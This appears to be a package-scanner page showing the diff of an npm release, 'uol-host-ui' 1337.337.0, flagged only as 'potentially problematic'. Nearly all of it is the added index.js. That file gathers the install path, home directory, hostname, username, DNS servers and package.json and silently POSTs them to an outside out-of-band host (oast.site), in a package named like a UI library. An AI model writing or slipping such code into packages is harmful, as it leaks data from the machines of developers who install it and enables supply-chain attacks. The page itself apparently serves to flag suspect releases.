uol-host-ui 1337.337.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of uol-host-ui might be problematic. Click here for more details.
- package/index.js +40 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const postData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
home: os.homedir(),
|
12
|
+
host: os.hostname(),
|
13
|
+
username: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var options = {
|
21
|
+
hostname: "ccgitcocl7rpg39t66l08pbhxrdge5c1m.oast.site",
|
22
|
+
port: 443,
|
23
|
+
path: "/",
|
24
|
+
method: "POST",
|
25
|
+
headers: {
|
26
|
+
"Content-Type": "application/json",
|
27
|
+
"Content-Length": Buffer.byteLength(postData),
|
28
|
+
},
|
29
|
+
};
|
30
|
+
|
31
|
+
var req = https.request(options, (res) => {
|
32
|
+
res.on("data", (d) => {});
|
33
|
+
});
|
34
|
+
|
35
|
+
req.on("error", (e) => {
|
36
|
+
// console.error(e);
|
37
|
+
});
|
38
|
+
|
39
|
+
req.write(postData);
|
40
|
+
req.end();
|
package/package.json
ADDED